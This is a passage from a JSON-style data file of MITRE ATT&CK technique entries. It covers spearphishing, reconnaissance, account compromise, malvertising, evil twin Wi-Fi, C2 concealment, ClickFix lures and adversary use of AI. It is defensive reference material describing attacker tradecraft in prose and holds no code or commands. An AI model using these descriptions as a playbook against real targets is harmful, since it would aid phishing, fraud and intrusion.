as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email. In some cases, they may rely upon the recipient populating information, then returning the file. The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. In other cases, adversaries may leverage techniques such as HTML Smuggling to harvest user credentials via fake login portals. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1566.003", + "text": "ATT&CK technique: T1566.003 Spearphishing via Service\nDescription: Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services. A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.\nTactics: initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1591.004", + "text": "ATT&CK technique: T1591.004 Identify Roles\nDescription: Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1566.004", + "text": "ATT&CK technique: T1566.004 Spearphishing Voice\nDescription: Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: Impersonation) and/or creating a sense of urgency or alarm for the recipient. All forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on User Execution for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools (Remote Access Tools) onto their computer. Adversaries may also combine voice phishing with Multi-Factor Authentication Request Generation in order to trick users into divulging MFA credentials or accepting authentication prompts.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Windows, macOS" + }, + { + "id": "T1584.004", + "text": "ATT&CK technique: T1584.004 Server\nDescription: Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a Server or Virtual Private Server, adversaries may compromise third-party servers in support of operations. Adversaries may also compromise web servers to support watering hole operations, as in Drive-by Compromise, or email servers to support Phishing operations.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1586.002", + "text": "ATT&CK technique: T1586.002 Email Accounts\nDescription: Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct Phishing for Information, Phishing, or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: Domains). A variety of methods exist for compromising email accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from which malicious spam or Phishing emails may evade reputation-based email filtering rules. Adversaries can use a compromised email account to hijack existing email threads with targets of interest.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1665", + "text": "ATT&CK technique: T1665 Hide Infrastructure\nDescription: Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished by identifying and filtering traffic from defensive tools, masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers, and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely. C2 networks may include the use of Proxy or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address. Adversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents. Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., Virtualization/Sandbox Evasion). Hiding C2 infrastructure may also be supported by Resource Development activities such as Acquire Infrastructure and Compromise Infrastructure. For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1591.002", + "text": "ATT&CK technique: T1591.002 Business Relationships\nDescription: Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Supply Chain Compromise, Drive-by Compromise, or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1593", + "text": "ATT&CK technique: T1593 Search Open Websites/Domains\nDescription: Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts. Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: External Remote Services or Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1586.001", + "text": "ATT&CK technique: T1586.001 Social Media Accounts\nDescription: Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. Social Media Accounts), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising social media accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps). Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others. Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: Spearphishing via Service).\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1583.008", + "text": "ATT&CK technique: T1583.008 Malvertising\nDescription: Adversaries may purchase online advertisements that can be abused to distribute malware to victims. Ads can be purchased to plant as well as favorably position artifacts in specific locations online, such as prominently placed within search engine results. These ads may make it more difficult for users to distinguish between actual search results and advertisements. Purchased ads may also target specific audiences using the advertising network’s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites. Adversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims. Purchased ads may attempt to impersonate or spoof well-known brands. For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software. Adversary’s efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts. Malvertising may be used to support Drive-by Target and Drive-by Compromise, potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system's web browser. Adversaries may also employ several techniques to evade detection by the advertising network. For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages. This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement. Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1592", + "text": "ATT&CK technique: T1592 Gather Victim Host Information\nDescription: Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services). Adversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary’s follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1591", + "text": "ATT&CK technique: T1591 Gather Victim Org Information\nDescription: Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1590.003", + "text": "ATT&CK technique: T1590.003 Network Trust Dependencies\nDescription: Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1593.002", + "text": "ATT&CK technique: T1593.002 Search Engines\nDescription: Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes). Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Valid Accounts or Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1585.002", + "text": "ATT&CK technique: T1585.002 Email Accounts\nDescription: Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct Phishing for Information or Phishing. Establishing email accounts may also allow adversaries to abuse free services – such as trial periods – to Acquire Infrastructure for follow-on purposes. Adversaries may also take steps to cultivate a persona around the email account, such as through use of Social Media Accounts, to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: Domains). To decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1185", + "text": "ATT&CK technique: T1185 Browser Session Hijacking\nDescription: Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques. A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet. Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights. Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as Sharepoint or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.\nTactics: collection\nPlatforms: Windows" + }, + { + "id": "T1683.001", + "text": "ATT&CK technique: T1683.001 Written Content\nDescription: Adversaries may create or tailor written materials to support targeting and malicious operations. Content may include phishing lures, fraudulent financial communications, fabricated job postings, fabricated employment credentials and documentation, decoy documents, social media persona content, and supporting narratives used to sustain fabricated personas over time. Content may be authored manually, commissioned through third parties, or produced using AI-assisted tools. Written materials may impersonate legitimate government correspondence, diplomatic communications, or internal organizational documents to support targeting efforts. AI-assisted tools may also be used to tailor content to specific targets, industries, or regions. For example, adversaries may leverage AI to translate content into a target's native language or mimic the communication style of trusted senders. Written content produced through these methods may be used in support of other techniques, such as Phishing, Spearphishing via Service, Phishing for Information, Internal Spearphishing, Social Engineering, Financial Theft, or Establish Accounts. Written content does not include malicious code or scripts; for development of malicious code and scripts, see Develop Capabilities.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1583.001", + "text": "ATT&CK technique: T1583.001 Domains\nDescription: Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. Adversaries may use acquired domains for a variety of purposes, including for Phishing, Drive-by Compromise, and Command and Control. Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD). Typosquatting may be used to aid in delivery of payloads via Drive-by Compromise. Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute \"IDN homograph attacks,\" creating visually similar lookalike domains used to deliver malware to victim machines. Different URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names). Adversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history. Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars. In addition to legitimately purchasing a domain, an adversary may register a new domain in a compromised environment. For example, in AWS environments, adversaries may leverage the Route53 domain service to register a domain and create hosted zones pointing to resources of the threat actor’s choosing.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1001.003", + "text": "ATT&CK technique: T1001.003 Protocol or Service Impersonation\nDescription: Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. Adversaries may also leverage legitimate protocols to impersonate expected web traffic or trusted services. For example, adversaries may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted data to disguise C2 communications or mimic legitimate services such as Gmail, Google Drive, and Yahoo Messenger.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1598.004", + "text": "ATT&CK technique: T1598.004 Spearphishing Voice\nDescription: Adversaries may use voice communications to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Impersonation) and/or creating a sense of urgency or alarm for the recipient. All forms of phishing are electronically delivered social engineering. In this scenario, adversaries use phone calls to elicit sensitive information from victims. Known as voice phishing (or \"vishing\"), these communications can be manually executed by adversaries, hired call centers, or even automated via robocalls. Voice phishers may spoof their phone number while also posing as a trusted entity, such as a business partner or technical support staff. Victims may also receive phishing messages that direct them to call a phone number (\"callback phishing\") where the adversary attempts to collect confidential information. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to tailor pretexts to be even more persuasive and believable for the victim.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1590", + "text": "ATT&CK technique: T1590 Gather Victim Network Information\nDescription: Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1589.001", + "text": "ATT&CK technique: T1589.001 Credentials\nDescription: Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via Phishing for Information. Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors. Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP). Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: Search Engines, breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1598.001", + "text": "ATT&CK technique: T1598.001 Spearphishing Service\nDescription: Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: Social Media or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596.002", + "text": "ATT&CK technique: T1596.002 WHOIS\nDescription: Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers. Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1056.003", + "text": "ATT&CK technique: T1056.003 Web Portal Capture\nDescription: Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1591.001", + "text": "ATT&CK technique: T1591.001 Determine Physical Locations\nDescription: Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites or Social Media). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Phishing or Hardware Additions).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1550.004", + "text": "ATT&CK technique: T1550.004 Web Session Cookie\nDescription: Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated. Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through Steal Web Session Cookie or Web Cookies, the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform. There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.\nTactics: lateral movement\nPlatforms: IaaS, Office Suite, SaaS" + }, + { + "id": "T1557.004", + "text": "ATT&CK technique: T1557.004 Evil Twin\nDescription: Adversaries may host seemingly genuine Wi-Fi access points to deceive users into connecting to malicious networks as a way of supporting follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or Input Capture. By using a Service Set Identifier (SSID) of a legitimate Wi-Fi network, fraudulent Wi-Fi access points may trick devices or users into connecting to malicious Wi-Fi networks. Adversaries may provide a stronger signal strength or block access to Wi-Fi access points to coerce or entice victim devices into connecting to malicious networks. A Wi-Fi Pineapple – a network security auditing and penetration testing tool – may be deployed in Evil Twin attacks for ease of use and broader range. Custom certificates may be used in an attempt to intercept HTTPS traffic. Similarly, adversaries may also listen for client devices sending probe requests for known or previously connected networks (Preferred Network Lists or PNLs). When a malicious access point receives a probe request, adversaries can respond with the same SSID to imitate the trusted, known network. Victim devices are led to believe the responding access point is from their PNL and initiate a connection to the fraudulent network. Upon logging into the malicious Wi-Fi access point, a user may be directed to a fake login page or captive portal webpage to capture the victim’s credentials. Once a user is logged into the fraudulent Wi-Fi network, the adversary may able to monitor network activity, manipulate data, or steal additional credentials. Locations with high concentrations of public Wi-Fi access, such as airports, coffee shops, or libraries, may be targets for adversaries to set up illegitimate Wi-Fi access points.\nTactics: collection, credential access\nPlatforms: Network Devices" + }, + { + "id": "T1683.002", + "text": "ATT&CK technique: T1683.002 Audio-Visual Content\nDescription: Adversaries may create or manipulate audio, image, and video content to support targeting and malicious operations. Adversaries may also use synthetic voice recordings, real-time altered audio or video during live interactions, fabricated profile photos and identity documents, or video content depicting fabricated or impersonated individuals. Content may be produced manually through editing tools, generated using AI-assisted tools, or produced using third-party synthetic services. AI-assisted tools have enabled adversaries to produce synthetic media at scale and generate content that is more difficult to identify as inauthentic. Audio-visual content produced through these methods may be used in support of other techniques, such as Phishing, Spearphishing via Service, Phishing for Information, Internal Spearphishing, Social Engineering, Financial Theft, or Establish Accounts.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1588.007", + "text": "ATT&CK technique: T1588.007 Artificial Intelligence\nDescription: Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks, including conducting Reconnaissance, creating basic scripts, assisting social engineering, and even developing payloads. For example, by utilizing a publicly available LLM an adversary is essentially outsourcing or automating certain tasks to the tool. Using AI, the adversary may draft and generate content in a variety of written languages to be used in Phishing/Phishing for Information campaigns. The same publicly available tool may further enable vulnerability or other offensive research supporting Develop Capabilities. AI tools may also automate technical tasks by generating, refining, or otherwise enhancing (e.g., Obfuscated Files or Information) malicious scripts and payloads. Finally, AI-generated text, images, audio, and video may be used for fraud, Impersonation, and other malicious activities.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1584.005", + "text": "ATT&CK technique: T1584.005 Botnet\nDescription: Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks. Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems. Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale Phishing or Distributed Denial of Service (DDoS).\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1682", + "text": "ATT&CK technique: T1682 Query Public AI Services\nDescription: Adversaries may query publicly accessible artificial intelligence (AI) services, such as large language models (LLMs), to support targeting and operations. In addition to searching websites or databases directly (i.e., Search Open Websites/Domains), adversaries may use AI services to synthesize, aggregate, and analyze publicly available information at scale. This may include identifying individuals or organizations to target, researching organizational structures and personnel, identifying technologies used by target organizations, researching business relationships to develop plausible pretexts for Social Engineering approaches, identifying contact information for use in Phishing or Phishing for Information, or gathering derogatory or sensitive information about individuals that may be used for extortion or coercion. Information gathered through AI services may be leveraged for other behaviors, such as establishing operational resources (i.e., Generate Content or Establish Accounts. For obtaining access to AI tools and services, see Artificial Intelligence.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1592.002", + "text": "ATT&CK technique: T1592.002 Software\nDescription: Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.). Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: listening ports, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Additionally, adversaries may analyze metadata from victim-owned files (e.g., PDFs, DOCs, images, and sound files hosted on victim-owned websites) to extract information about the software and hardware used to create or process those files. Metadata may reveal software versions, configurations, or timestamps that indicate outdated or vulnerable software. This information can be cross-referenced with known CVEs to identify potential vectors for exploitation in future operations. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or for initial access (ex: Supply Chain Compromise or External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1102", + "text": "ATT&CK technique: T1102 Web Service\nDescription: Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites, cloud services, and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google, Microsoft, or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1597", + "text": "ATT&CK technique: T1597 Search Closed Sources\nDescription: Adversaries may search and gather information about victims from closed (e.g., paid, private, or otherwise not freely available) sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1204.004", + "text": "ATT&CK technique: T1204.004 Malicious Copy and Paste\nDescription: An adversary may rely upon a user copying and pasting code in order to gain execution. Users may be subjected to social engineering to get them to copy and paste code directly into a Command and Scripting Interpreter. One such strategy is \"ClickFix,\" in which adversaries present users with seemingly helpful solutions—such as prompts to fix errors or complete CAPTCHAs—that instead instruct the user to copy and paste malicious code. Malicious websites, such as those used in Drive-by Compromise, may present fake error messages or CAPTCHA prompts that 